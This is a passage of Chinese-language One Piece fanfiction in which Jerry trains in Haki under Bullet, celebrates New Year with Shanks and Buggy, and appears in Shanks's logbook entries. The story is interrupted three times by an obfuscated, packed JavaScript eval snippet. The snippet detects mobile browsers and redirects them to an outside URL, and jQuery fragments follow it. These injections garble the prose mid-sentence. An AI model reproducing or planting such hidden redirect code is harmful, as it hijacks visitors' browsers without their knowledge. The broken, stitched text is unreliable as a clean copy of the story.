杰里整个人都冻麻了,迷迷糊糊地被按在昨晚躺过的病床上,听库洛卡斯絮絮叨叨地骂他。也许是终于到了温暖的室内,他后知后觉地感到无比寒冷,牙齿又开始打颤,思维也终于转了起来。 说到底,巴//雷特先生也没说我在雪里走就会教我啊??我在干嘛?? 这一事实反而让他受到了意外的打击,他晕乎乎地喝热水,泡脚,给自己冻伤的脚上涂药。然后思维飘忽地挨雷利先生骂,再看雷利先生狠狠骂打完架回来的船长。一直到傍晚的宴会,他还眼神死着,干巴巴地坐在篝火边吃烤肉。 “杰里...杰里?”他的袖子被拉了拉,一个温暖如太阳的家伙凑到身边,眼睛转来转去地在看他是不是又在发癔症。 啊我可爱的香克斯,如果你能叫我... “...哥哥?” !!!? 香克斯被突然支楞起来的杰里吓了一跳。这么好用的?比船长的霸王色还好用诶。杰里很少在他面前露出不好意思的情绪,现在看真是生动极了。香克斯满意地点点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506357|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好...好突然啊!香克斯先...香克斯!”杰里狠狠地揉了揉脸,控制你的表情,杰里!虽然自己总开玩笑,但其实没想过真的会实现啊!! 算了!他清清嗓子,回想着米森曾经跟他说话的语气说道:“怎、怎么了吗?你需要什么吗?” “哦~没什么,大家开始喝酒了,估计一会儿就要凑到火边跳舞了,我来问问你要不要一起。”香克斯越看越有趣,把语气捏的乖乖的,观察着杰里的反应。往常巴基和杰里都不吃他撒娇那套的,难道换个称呼抵抗力就降低了? 果然,杰里突然拍了拍自己的脸,然后正儿八经地转向他,还牵起他的手轻轻捏捏。 “嗯,谢谢你来问我!我、我不跳了,我想晚点去找巴//雷特先生。” 这很怪,他们之前没有过这样的相处模式。香克斯除了巴基,没有真正意义上的兄长或者姐姐,但是他能感觉出来杰里在生疏地模仿谁,是他姐姐吗?他也捏了捏杰里的手指。 嗯...他倒不是想对方真的成为他的“哥哥”啦,但是不影响他们关系的话,还挺好玩的。 “可是,如果你没事的话,我想和你一起跳舞诶~可以吗?” 神啊,米森啊,你当时也是这样的感觉吗?虽然感觉哪里不对... 杰里压根没注意到香克斯语气里的试探,狠狠点头:“可以的!没关系!那我现在先去找巴//雷特先生,你等等我噢!” 香克斯眼睛笑得弯弯的,乖巧地点了点头。等杰里走远了,他和一脸震惊的巴基对视一眼,发出了愉快的大笑。 “你这家伙...真是捏住了那混蛋难得的弱点啊。”巴基拿起杰里放到一边的烤肉放到自己的盘子里,琢磨着他是不是也能用这一点在未来给自己捞点好处。 香克斯回想着杰里突然亢奋的步伐,笑得肚子都痛了。 杰里还没意识到刚才还一副乖乖样子和自己说话的小孩儿,其实切开都是黑的。他以最快速度找到了在角落里的巴//雷特。 今天和罗杰战斗结束的格外得快,巴//雷特还一点好处没捞到,这让他近来因为罗杰生病而产生的烦躁消失了点,又因为实力的差距而脸很黑地生闷气。 “巴//雷特先生!要我来听听你身体状况吗?库洛卡斯先生说您又没去医务室。” “不、需、要。” “噢!那您回房间可以自己再处理下,上次我留在那的医疗箱库洛卡斯先生说划到您房间去了,缺东西您跟我说。” 巴//雷特撇撇嘴,略过了这个话题。 “你又想干吗?” “哦!虽然您没看到,但是我有好好地走到了您们战斗结束哦。”他指了指自己的脖颈,“您看,也没有戴围巾。” “所以?” “所以,您能教我霸气了吗?” 巴//雷特上下打量了他一番,不知道想到什么,突然露出了一个有些残酷的笑。 “行、啊。” 杰里还没来得及道谢,就听到他继续说道:“不过,可别幻想我会像雷利罗杰那样惯着你。接下来要去后半段了,你跟着我,能不能活下来,能学多少,我可管不着。” 杰里顿了顿,弯腰鞠了一躬,起身时笑眯眯地冲他打了个响指。 “当然了,您可是【子弹】啊~我还想跟您学完之后也去揍雷利先生一顿呢。那么就拜托您了!” 巴//雷特下意识地发出了一声嗤笑。 ''揍雷利一顿?'' 他看着那个急匆匆跑到红毛实习生身边去的身影,咂了咂嘴。 ''就凭他这只弱老鼠?'' 一向是独狼派的青年可不打算跟那群醉鬼唱歌跳舞,礼节性地坐到零点一过,就起身回船舱去了。 13.海贼的烟花与军人的强大 罗杰海贼团新年的宴会与平时的宴会与众不同的一点就在于,他们会喝更多的酒,跳更野的舞,垒更大的篝火—— 杰里在第三次躲开某位喝高了的船员飞舞的手臂时如此总结道。 他这近一年对海贼宴会形成的印象就是吵。 笑声,骂声,歌声,全都揉在一起,闹哄哄地直冲天际。 海上的歌谣好像都有一种磅礴感,和杰里以前听过的歌都不一样。没有圣歌优雅,但是热烈;没有小调亲和,但是烂漫。旋律里自由与冒险必不可少,要么得到宝藏,要么死亡,二者是最甜美的佐料。每一个音调都拉得长长的,就好像正因一艘船在海上无比渺小,每一条生命都无比短暂,才要让它听到自己充满欢乐与不悔的声音。 跑着调也好,混进去笑骂声也好,脸庞与胸膛都被酒精与篝火熏的发红,他们恣意地吵闹。 杰里并不讨厌这种吵,所以,他学会了海贼的歌。 海贼的舞也很丑,与其说是舞蹈不如说就是一群大汉跟着节拍随意扭动。语言无法表达的,全都融在肢体里,抛弃思考用的大脑,把身体交给心脏。而灵魂?''海贼的灵魂早就锁在盒子里沉入海底,献给海洋了'',有人这么说道。 几个人勾肩搭背,随意抬抬腿,左摇右晃是舞;甩着脖子,四肢乱摆像打拳一样也是舞;爬上高台餐桌,晃动胯部,假装自己是貌美勾人的女郎也是舞。 杰里不讨厌这种舞,但是,他也绝对不会去学的。 “香克斯!香克斯!你要是敢学芋头先生扭屁股我就不和你跳了!” “诶~为什么啊~哥、哥。” “.....你喜欢的话就扭吧!我...我...我闭上眼睛,但是拉着你的手也算''和你跳舞''吧?” 香克斯憋笑憋得肩膀乱抖,拉着杰里的手,对方还以为他是因为学芋头的狂野舞风才抖,眼睛闭得更紧了,仿佛只要看到一眼他的人生就全完了。 他站着没动,只是晃着两个人牵着的手,偶尔拉着对方一起摇一摇身体。巴基在杰里的身后指了指他俩,手在眼睛上捂了一下,又指了指远处船员们陆续堆到一起的烟花,露出一个恶作剧笑容。 心领神会地点点头,香克斯嘴里开始模仿芋头发出一些吆喝的声音。杰里毫无察觉地闭着眼,任由他拉着。就在他觉得差不多了的时候,手心被狠狠地挠了挠。 “你耍我?” 糟糕,杰里又变成和雷利前辈一样的笑容了。所以说是真的很难注意那双眼睛到底是睁开还是没睁开啊! “香克斯,你意识到我们现在是牵着手的吧?你还说手套摸着别扭把我手套脱了?” 香克斯思考了一下他是现在就扭起来,还是大大方方承认自己就是在耍他,哪个更好一些。嗯...船长会怎么做呢? “哥、哥哥?” “不好用了!” 一支火把及时地从香克斯视线里飘过。他爽朗地笑笑,又像刚才一样摇了摇两人的手,“别生气嘛,杰里。” “我没生气,我——” 咻——砰! 杰里猛地抬头,整个视野都被绚烂的色彩点亮了。 他不是没见过烟花,但是还是第一次见到这么多,这么杂的烟花,一从才刚刚炸开,就被另一从掩过。红色的,黄色的,紫色的,层层叠叠在一起变成了一种耀眼的白。 席卷夜空,是想与星星争风?他不由自主地屏住呼吸,所有感官都被烟花填满,只还能听到一点点船员们的欢呼声。 这些人放烟花也放地这么不美,杰里想,他喜欢海贼的烟花。 香克斯不知何时松开了他的手,他也没在意。双手合十,再次闭上眼之后,那些色彩就在他眼皮后跳跃。 ——砰! 一道距离很近的烟花声在他耳边炸响,他看了一眼,红色的,蓝色的——香克斯和巴基手里拿着一把既像炸弹又像礼炮的东西,发现他没有被吓一跳很失望地垂垂眼角。 巴基:“真没劲啊你这人~” 杰里:“真失礼啊,不过,离人很近不会危险吗?” 香克斯摆摆手:“船长教我们的啦,没事的,巴基很爱玩。” 他递给杰里一枚,示意了一下在哪个位置点火,“你刚刚在干嘛?祈祷?” 杰里:“许愿。” 巴基果然很爱玩,一枚枚地丢来丢去,“对着烟花许愿?我以为香克斯对着流星许愿就够蠢了。” 杰里耸耸肩,将自己分到的小炸弹点着,往海里一丢,“为什么不呢?” 彩色的小筒还没碰到海水就炸开了,他点点头,在心里记录了一下。 “你许了什么愿望?” “这种事情不是说出来就不灵了吗?你也会告诉我你对流星许了什么愿吗?” “可以啊,毕竟我虽然许愿了,以后也会自己去实现的。” “诶——真帅气啊香克斯。” 烟花秀已经结束了,杰里看看被吓跑的月亮又低了一点,决定回船上睡觉,毕竟海贼宴会要闹到很晚,因为是新年没准还要通宵。 “算啦,这是我和烟花的秘密,不告诉你。” 他又问了问一个屋子的伙伴们要不要一起去睡觉。 香克斯:“诶?可是你还没和我跳舞。” 杰里:“?跳了很久不是吗?” 香克斯:“啊有吗?” 杰里无语:“多吃点核桃和鱼,我相信你总有一天会像雷利先生一样聪明的。” “雷利前辈太聪明了,没关系,我像罗杰船长一样做个厉害的船长就好了!” 杰里:“那你未来的副船长还真是辛苦。” 又闹了一会儿,杰里告别了还打算继续在宴会上玩的两人,发现除了他,巴//雷特也已经不在海岸边了。他不知道对方是什么时候走的,有没有看到烟花。看来确实要早睡才能在生长期长高啊,虽然自己对身高没什么执念,但是有切实的实验数据还是让他习惯性点点头。 大家都在岛上,船上就变得很安静,真是难得。今晚没什么风,帆也收起来了,杰里走在甲板上,仔细地听着自己的脚步声。奥罗杰克逊号整体是红色调,到了晚上,会比一般的船显得颜色更暗,就像是船本身也和船员们一起休息了一样。但是大伙去岛上开宴会,它就只能留在这里,会寂寞吗?他突然想到。罗杰先生曾经说过''海贼船也是海贼重要的伙伴''之类,让以前只把船当做交通工具的自己印象深刻。他有点好奇地摸摸主桅,伙伴的话...船也会有自己的''声音''吗? 嗯...听不到。可他又不想为了''听一听船会不会有声音''这种蠢问题要杰克逊号受伤。在出海之后,杰里知道了世界上有''吃了就会被大海厌弃但是会获得神秘力量''的恶魔果实,也知道了罗杰有''聆听万物之声''的能力,还有雷利曾经在训练时讲过的三色霸气之一''见闻色霸气''。但是除了他会游泳,所以肯定不是在没记忆的时候就吃了什么奇怪的果子以外,他也不知道自己的能力到底是哪种,如何锻炼也没有头绪。只能像做实验试错一样不停尝试了,他撇撇嘴,将所有的问题抛给明天。 用额头轻轻碰了碰手下的桅杆,冰冰凉凉的。“新年快乐,杰克逊,晚安。” 事实证明,杰里是对的。等到他第二天起床离开船舱就发现,宴会还在继续。分不清他们到底是直接在沙滩上睡醒了就又开起来了还是根本没睡。如果是前者,不冷吗?这群人?冬岛诶!香克斯和巴基倒是还在睡,也不知道玩到了几点才被雷利赶回船舱,一般杰里起得才是最晚的。 他可不想大早上就吃烤肉,趁饭厅里应该没什么人,他准备切超厚的一块吐司用牛奶泡着吃,省得那群人笑话他小屁孩口味! 就在他无比幸福地吃下第一口时,耳边传来了一道鄙视的声音。 “嗤、小屁孩。” 谁啊?? 哦巴//雷特啊,那没事了。 杰里礼貌微笑:“早上好,巴//雷特先生,您今天有什么安排吗?居然主动找我这个小屁孩搭话。” “你今天跟我走,我去挑战罗杰,你在旁边看着自己学。”他好像想到什么,自得地扬扬下巴,“记住了,老子可不是什么出尔反尔的人。” 杰里竖起一个大拇指,十分敬佩地说:“当然了,您真帅!我马上就吃好。” 笑死,斤斤计较的大屁孩。 不过,只是看着就能学会吗我...?他们不会打着打着一个战斗余波把我打死吧,难道这才是他的真正目的?哦抱歉,姐姐,我谨遵你的教导...不要怀疑珍惜的引导者....吗? 不过,等他们找到烂醉的罗杰,他的顾虑就打消了。 “我拒绝你的挑战。” “为什么??” “宴会上为什么要打架!来喝酒吧,巴//雷特!” “已经第二天了,罗杰。” “?所以?” 罗杰看了眼跟在旁边的杰里,眼睛亮了亮,“小黑!你昨晚跑哪里去了,我都没来得及教你海贼跳舞!来来来!”他一边说一边伸手做出抓握的动作,杰里一个闪身躲到巴//雷特身面。 “早上好!罗杰先生。我、我不学了,我跳不来您们的那种英姿!巴//雷特先生说今天要教我霸气呢!” “哦哦!真是说到做到的好男人啊,巴//雷特!” 巴//雷特下意识浮起一丝骄傲的神色,又很快脸色黑了下来。罗杰不打,他就不能按计划把人丢在一边让他自己学,还得解释?指导?弱者真是麻烦,霸气不是打着打着就学会了吗? 算了,他又露出一个嘲弄的笑容。就像他警告过的那样,跟着他学,死了他可不管。 杰里看着巴//雷特不停变换的脸色,有一种微妙的预感。这人是真的不擅长在脸上隐藏情绪啊...一副''罗杰不和我打那就顺便拿你出气''的表情完全好读。 不过,在巴//雷特把他拎起来往森林里走的时候,他也没点明就是了。 “你知道霸气的原理?” “知道的,雷利先生讲过。武装色是力量的具象化,可以覆盖在身上增强攻击力和防御力;见闻色是感知的强化,以感受''生息''来判断对方的行动;霸王色是天生的资质,百万中仅有一人的''气魄'',可以震慑他人的精神。” 巴//雷特点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529091|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“所以,想要锻炼武装色,你就必须要逼迫自己变得强大,增强''力量''。”他随手捶了身旁的树一拳。 森林深处的树都长得十分粗壮,杰里一个人抱不了一圈,那棵雪松在□□的拳头下轻轻颤了颤,抖掉了枝桠上的积雪。 “如果敌人肉//体强度比你大,你的拳头杀不死他怎么办?” 他将手臂上覆盖一层黑色,又对着那棵树打了一拳。 轰—— “增强力量,把它们从身体里集中起来,直到你的强度能把对方干掉。” 那棵倒霉的树甚至没来得及发出一声哀鸣,就轰然倒下。杰里看了看它爆裂的横截面,简直像有什么从中间炸开了一样。 巴//雷特又随意掰下一节树枝,挥舞了两下。 “你的武器过于破烂,打不穿敌人的盔甲怎么办?” 那节树枝迅速变黑,甚至在阳光下发出钢铁般的光泽。巴//雷特用它对着另一侧的树一挥,一声沉闷的巨响后,刚刚还笔直的大树倒下了,就像是受到了了什么冲击波,而不是被一根树枝敲了一下。 “加强你的武器,无论是刀剑、匕首,还是棍棒。” 就在杰里为巴//雷特的力量感叹时,对方的身影突然一闪,近距离地站到了他面前,高大的身形和衣服下鼓胀的肌肉都极具压迫感,胸前的徽章如同高举的刀剑一样闪过一丝白光。 “如果敌人要杀了你,你却弱得像只老鼠怎么办?” 下一刻,他眼前一花,身前传来一股剧痛。直到他的后背狠狠地撞在一棵树上,并随着那棵树一起倒在地上,才反应过来发生了什么。 刚刚咔嚓的一声是树干折断的声音还是我的肋骨? “''增强攻击力或者防御力'',就是这个意思,小子。调动所有的力量使自己变得强大,你就能活下来。” 杰里头晕晕的,耳朵里好像有一百只蜜蜂,模模糊糊才听清巴//雷特的话。雷利虽然在训练时打人也很痛,但是那和刚刚一瞬间巴//雷特露出的凶意不一样。他双臂颤抖着,把自己勉强支起来,呕出了一大口血。鲜红的颜色烫穿了周围洁白的雪,他把手套丢掉,抹了一把脸,盯着那团红色,突然露出笑容。 “我以为您会对同伴下手轻点呢,我好像脑震荡了。” 巴//雷特没什么表情,只是看着他慢慢爬起来。 “等同伴背叛你的时候,他们就是最不配称之为敌人的敌人。” “哇喔,受教了。经验之谈?” “看这枚勋章,小子。”巴//雷特指了指自己时常佩戴的奖章。 “看到了,它很漂亮。” “这是只有战功最大者才能获得的奖章,而我的''同伴''在我即将获得它时候背叛了我,将之夺走,还把我打到濒死。但是我现在却佩戴着它,你知道这意味着什么?” 他又走到了杰里的身边,就在杰里以为对方又要给自己来一脚的时候,他开口了:“它意味着信任同伴的软弱使我差点失去一切,而我的强大使我活了下来,从敌人手里夺回了我应得的东西。你懂了吗?” 只有强者才配拥有,不管是性命,奖章,还是自由。他不在乎杰里究竟为什么找上他做老师,想要从他身上学到什么,得到什么。但是这小子身体里有一股火气,这让他想起来了自己。 “我懂了,先生。强大是您的壳,逃避是我的壳。没有了它我们都会摇摇欲坠。”如果雷利在这里,他听到杰里的语气就知道他又开始发癔症了,但是雷利不在,只有巴//雷特拧着眉毛看他笑眯眯地吐血。 “罗杰先生强大,所以您才追随他,可是他病了,多么强大的人在疾病面前都可能会如大厦倾倒,哈哈,我懂了,所以您才烦躁,所以您才燃烧。” “您接受不了他变成''弱者''吧?还是担心自己在他病死前打不过他?您在害怕?害怕''强大''背叛您?” 杰里无视了巴//雷特越来越扭曲愤怒的神色,自顾自地说道:“我也在恐惧,先生,我们竟然在这一点上如此相像!罗杰先生不认为您只是【子弹】而是【巴//雷特】,不认为我只是【杰里】也是【茵弗玛利】。这让人很不习惯不是吗,我明白!” 我们都困在自己的壳里,困在那座岛。 “强大也好,软弱也罢,我会活下来。所以我会学会的,武装色。请继续教我,就按您的方式来,这太有趣了!您不好奇吗?” 他模仿着巴//雷特挑战罗杰时的语气粗着嗓子说:“子弹先生,接受我的挑战!” “那你就活下来试试看。”巴//雷特咬牙切齿,在抬脚的瞬间看到面前的小鬼不像上一次一样毫无准备,而是微微弯腰支起手臂做出了防御的姿势。 那又如何? 杰里又被巴//雷特踢飞了。 不过,等到他挪回船上的医务室挨骂,雷利却突然进来转告说,巴//雷特让他以后在自己挑战罗杰的时候都跟着去,然后准备好他打完罗杰就来打他。 面对雷利有些担忧的神色,他嘻嘻一笑。 “别担心,雷利先生,我只是想试试覆盖武装色后我的能力是会被削弱还是加强而已。” 14.航海日志?杰里日志 【海圆历1497.X.X:】 【昨天和巴基偷酒失败。 今天起床的时候,已经启航了。听说是罗杰船长的老对头卡普要升大将,船长想在他赶在回总部之前到香波地,然后正好打一架,试一试大将的实力。 不过,我起晚了是一方面,另一方面是杰里受伤了。我去看的时候,他的胳膊已经吊起来了,雷利前辈说是在和巴//雷特学武装色的时候被打的。 我还没学会霸气呢,杰里好努力啊,还说以后大部分时训练时间都要去找巴//雷特,不跟我和巴基一起了。 我也要更加努力!】 【PS.因为杰里胳膊受伤了,贾巴前辈一向吃饭很快,吃完了就喂他。很好玩,他整个人都在害羞。但是伙伴们起哄的时候讲话就变得超级厉害,大家都说不过他。杰里真的很厉害,虽然他拒绝我喂他。】 “哇今天要下糖果雨吗,香克斯你居然在认真写航海日——唔噗!” “哇啊!抱歉抱歉哈哈哈哈!” 杰里习惯性抬手捂住被香克斯不离脑袋的草帽帽檐戳到的脸,结果想起来自己胳膊受伤了,根本没法动。香克斯见状眼睛一亮,迅速伸出手在他脸上揉了一把。 “憋得意,香库斯,我锅几天就嫩拆噜。” “诶——那么快就不用固定了吗?” 在海上航行久了的人皮肤多少都有点粗糙,他们也没在意过。不过杰里的脸倒是软软的,还带着一点婴儿肥,手感很好,难怪雷利前辈总是掐他脸上的软肉。 “本来就没伤到骨头啦,库洛卡斯先生就是太夸张了,我想早点开始练□□不能一直吊着胳膊吧。”杰里任由香克斯摸了两把后偏开脑袋,用额头撞了撞对方的帽檐。 “你怎么今天写了这么久?” “你上次不是说磁鼓岛的人会下什么''新年决心''吗?我也想试一试。” 磁鼓岛上没有大型的城市,村镇之间靠大角鹿拉着的雪橇联通,直接距离最远的也只要几十分钟。因此所有的人联系都很紧密,生活充满质朴感。永远的冬日也使新年成了每年最具有节日氛围的时刻。人们聚在火边,互送礼物,餐桌上堆满了每个人带来的食物。杰里后来很少去镇子里参加新年会,但是在他还小的时候,经常会有大人往他手里塞糖果和巧克力,笑着问''小茵弗的新年决心是什么呀''。 ''新年决心?'' ''就是明年想要做到的事情,比如每天都好好吃饭,每天都读书这类的。'' ''那我明年要治好姐姐!'' 哦,真是青春啊。 杰里瞄了一样桌上摊开的日志本,香克斯的字意外的好看,至少比自己的顺眼。 在奇怪的地方输了呢。 “你的新年决心是写很多航海日志?” “杰里你不是写很多嘛,都换新的本子了,我也想试试看。” “诶——不会的字分我巧克力我就教你写哦~” “杰—里—!我识字的啦!” “真厉害啊~” 【海圆历1497.X.X:】 【杰里吊着的胳膊还没拆,所以最近生活上有很多不方便的地方。今天洗澡的时候我和巴基帮他洗头,然后发现杰里的头发长长了很多,擦干的时候全盖在脸上。巴基炫耀了他的各种保养头发的东西,杰里说绷带拆了就做实验试试能不能给他做加强版。他真的什么都会做,很厉害。】 【PS.最近因为训练的时候有些心急,被雷利前辈教训了。】 “所以你要留长发吗?”斯宾塞甩了甩自己的马尾,棕红色的发丝在阳光下帅气极了。他手上的动作没停,慢慢地给圈在自己腿里的小孩梳头,手指夹起淡金色的发尾,他估计了一下长度。 “现在的话勉强可以扎起来哦,你现在没法用手把碍事的头发捋开吧?看你天天甩来甩去的。” 今天天气很好,粉蓝色的天空上飘着几缕薄云,阳光把甲板晒得暖暖的。好天气就是会让人变得懒洋洋,杰克逊号的红帆都伸着一个慢悠悠的弧度。 “留长的话天气冷洗头很冷吧,船上有哪位先生可以帮我剪短吗?我愿意付出一件宝藏。” 斯宾塞将梳子随手放在一边,开始用手指有一下没一下的揉着杰里的脑袋。 “别啊,男人有漂亮头发当然是要留长啊,剪了多可惜,我有发圈哦,扎起来试试?” 杰里整个人被他摸得舒服极了,也许是能力的影响,他本来就很喜欢肢体接触。他蹭蹭斯宾塞的手掌,软绵绵地发出一声同意的嘟囔。 斯宾塞从手腕上取下多余的发绳,觉得有点好笑。 “所以说比起狐狸你果然是猫崽吧?晒晒太阳摸摸毛就迷糊了,贾巴没有我眼慧啊。” “您们还没决定啊。”杰里打了个哈欠,“叫得比较多的不是''小医生''来着?” 斯宾塞语气严肃:“这不冲突,你看,罗杰船长既是海贼,也是船长。” 这有什么关联啊...按这么说的话猫和医生哪个是主业哪个是副业啊? “好!这样就不会被海风吹的到处乱飞了!我手真巧。” 杰里歪歪头,看不到自己新鲜出炉的小揪揪,只能耸耸肩,又往斯宾塞的怀里靠了靠。阳光很暖,身后的人也很暖,海风轻轻地带来海与木头的味道。他偏过头把耳朵贴在了对方的胸膛上。 “谢谢您,斯宾塞先生,您要和感谢您的小猫在甲板上睡会儿午觉吗?” “噢噢你承认了啊!” “怎样都好吧,能被送这么多名字,幸福的不是我吗?” 杰里慢慢地听着长发男人的心跳声,平静地沉入睡眠。 香克斯上午训练的时候不知道为什么被雷利先生狠狠地揍了,下午就累得回舱房去了。晚点去看看他吧? 【海圆历1947.X.X:】 【今天遇袭,杰里被巴//雷特丢到敌船上去了。虽然有大家关注着,他还是受伤了,被丢下海。还好桑贝尔前辈带着巴基在海里,把他捞了回来。船长生气之后就没得打了,在那之前我干掉了五个敌人,杰里干掉了两个。但是他没有学多久的剑,也用的没我好,所以我还是觉得他很厉害。我第一次海战的时候也没有做得很好。库洛卡斯前辈说他侧腹的伤口会留疤。但是杰里不是很在意,说如果拆线之后很丑,他会做神奇的祛疤药膏的。】 【PS.今天吃饭的时候杰里一定要喂贾巴前辈吃,说是偿还的礼仪。贾巴前辈没有他会说,所以船员们嘲笑他的时候,他们打坏了一张桌子,雷利前辈超生气的。】 “恶心。” 杰里正在念悼词,就听到那个把他丢到敌人海贼船上的家伙的声音,他睁开眼睛看过去。 “为什么?我恶心还是悼词恶心?” 巴//雷特皱皱眉毛,“都恶心。” 杰里:“?” 巴//雷特:“虽然没起到什么作用,还很弱智的掉到海里去了,但是你也参与了那群垃圾的落败不是吗?这会儿假惺惺的很恶心。” 杰里无语:“前面那一串可以不说,先生。” 巴//雷特没理他,继续鄙夷到:“怎么,祈求你的神给你个心安?只有弱者才杀了人之后后悔。” 杰里没回答,只是从口袋里翻出来了一枚染血的弹壳,递给了他。 “这是我今天干掉的其中一人的战利品,送给您,它是我活下来了的证明。” 他又双手抱拳转向海面,重新念了一遍悼词。 “我没后悔,先生,但是我确实很弱。” 杰里在船舷边呆了很久,直到雷利走过来问他感觉怎么样。 “那个把我丢到海里的人扼住我脖子的时候,我摸了他的手腕。”他有些答非所问地做出了一个抓握的动作,“然后,罗杰先生砍死他的瞬间我听见他的嘴里和身体里同时发出惨叫。” 他扬着嘴角,狠狠地揉了揉耳朵。 “也许我该弄一副适合战斗的手套?” “喂!你这家伙没问题吗!”巴基看着迷迷糊糊带着一脸血往他身上黏的杰里,下意识抱住对方,将他托了起来。 “所以我就说你往巴//雷特身边凑干嘛啊!天天跟要死了一样,也没见你学会霸气啊?” 杰里揽着他的肩膀,往医务室的床上一躺。嘴里本来就一股铁锈味,现在鼻腔里又一股消毒水和草药味,有点恶心。他努力睁开有点肿了的眼皮,盯着巴基的蓝发,突然想起来自己答应他要做加强版护发素来着。自己的实验器材最近都没有用过,要好好清理一下了。 其实□□已经下手很轻,不然以他的实力,早就死过一百遍了。这种时刻觉得自己会死的感觉确实让自己对霸气的掌握有了些眉目,不管是武装色还是见闻色。 不过,也让别人担心了吧。 “抱歉,巴基。” “什、什么啊?虽然不知道你在道什么歉,但是既然觉得不好意思就放开本大爷啊!” “...护发素...?” “?说什么呢?你真的被打傻了吧?” 【海圆历1497.X.X:】 【杰里最近总是在受伤,雷利前辈也很无奈,在我问的时候说巴//雷特的训练方法''某种意义上来说是最快速可行的'',船长也说杰里自己有分寸。我这几天都习惯了去医务室找他,今天果然也在。他搂着巴基睡着了。巴基当时醒着,但是也陪着杰里,不过见我来了就开始骂他,如果杰里醒着一定会说他''又害羞了啊''什么的。 自从杰里来了,我和巴基的关系好了很多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544733|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他很喜欢一左一右地牵着我们,我也很喜欢,然后我们会聊天。这种时候就算和巴基吵架,他也会笑着安抚我们两个,或者是加入一些奇怪的争吵,最后就不了了之了。我们还是牵着手一起去吃饭,或者洗澡。 我和巴基很多时候不能互相理解,但是他可以理解我们两个,巴基甚至愿意让他搂着睡觉!这一点真的很厉害。】 【PS.杰里醒了之后说要给巴基做护发素,拿了一堆瓶瓶罐罐的出来,他们一起炸了一口坩埚后变成了炸弹的研究。】 “因为巴基喜欢海战,所以炸弹的威力和距离都需要精准合适的把控。如何在不落入海里之前爆炸除了巴基自己使用时的控制和瞄准,也要考虑到如果它自己炸开的时机,加上不能波及到使用者本身......” 雷利想狠狠的给杰里一拳骨让他闭嘴,但是这个臭小鬼已经在顶水桶了。他只能捏着鼻梁,努力忽视头痛的感觉。 “停!这不是你俩私自造炸弹还打着测试的名义乱丢的理由。” “是,我错了,但是巴基没有错,他只是喜欢炸弹而已!请聪明的,伟大的,狡...明智的副船长先生只罚我一个人吧!不用去找他了!” 雷利头更痛了:“他叫你哥哥你也不能给他造炸弹!而且你那是怎么做出来的啊,还会飘出来让人痒痒的药粉...虽然不会把船烧了算你有良心,但是芋头最怕痒了知道吗。” “诶?芋头先生的黑料?” 雷利忍无可忍,移开杰里头上的水桶后狠狠捶了他一拳,“这是你的什么奇怪开关?我叫你哥哥你就能省点心吗,你这个小麻烦!” “咦,那会很恶心,雷利先生,而且礼仪上来说太不合适了。”杰里揉了揉头上鼓起来的包,在对方又一拳砸下来的时候抓住他的手腕,突然说道“而且,您更像父亲的角色不是吗,或者母亲?我爱您不比爱巴基的少一点呀!” 他将雷利的手轻轻放在自己的头上,亲昵地蹭蹭,“我很感谢您,也很感谢船上的大家,您们就像是我新的家人一样。一直以来让您费心了吧,能让您费心也是我的幸运。” 雷利没说话,他处在一种半震惊半感慨的状态里,听面前的小孩在船舱的无人角落里坦荡地表达爱,叫他们家人。十个月的相处与引导就足以吗?把那个孤独地跪在自己姐姐墓碑前近十年的的孩子变成现在这种鲜活的样子。 “而且,是您们给了我可以做错事的自信,归根结底,我给巴基炸弹的事难道您们不需要负责吗?” 好吧,他就说这小子鬼精鬼精的。 雷利瞬间不感动了,面无表情地把水桶移回淡金色的脑袋上。 “我会负责在你做错事后好好罚你的,顶住了,不许掉,晚饭的时候才可以动。” “失礼了,但是可恶啊...” 雷利蹲了下来,掐了掐杰里的脸,“最近霸气练的怎么样?天天被打得那么惨不会一点进度都没有吧?也不知道你每次都跟巴//雷特说什么,把他气得这几天都没找罗杰挑战了,库洛卡斯挺欣慰的。” 杰里骄傲地嘻嘻一笑:“我嘴欠嘛。” “你也知道啊。” 两人沉默了一会儿。 远远地能听到船员们的脚步声,快到香波地了,要准备安排各种事宜,找人镀膜,罗杰说想和卡普打架也不知道能不能碰到,不过能不在香波地打起来就最好了。 “霸气的话...摸到点感觉了。”杰里突然开口,让雷利的注意力又转了回来。 “哦?很快啊,看来罗杰说的没错,你对霸气很有天赋。” “罗杰先生还这么夸过我啊,怪不好意思的,怎么不当面夸呢?” “得了吧,真当面夸你你肯定不好意思,我还不知道你?” “是啊,您都知道我了。” 空气又顿了顿,雷利清了清嗓子转移了话题。真是的,怎么突然感觉不好意思的是自己。 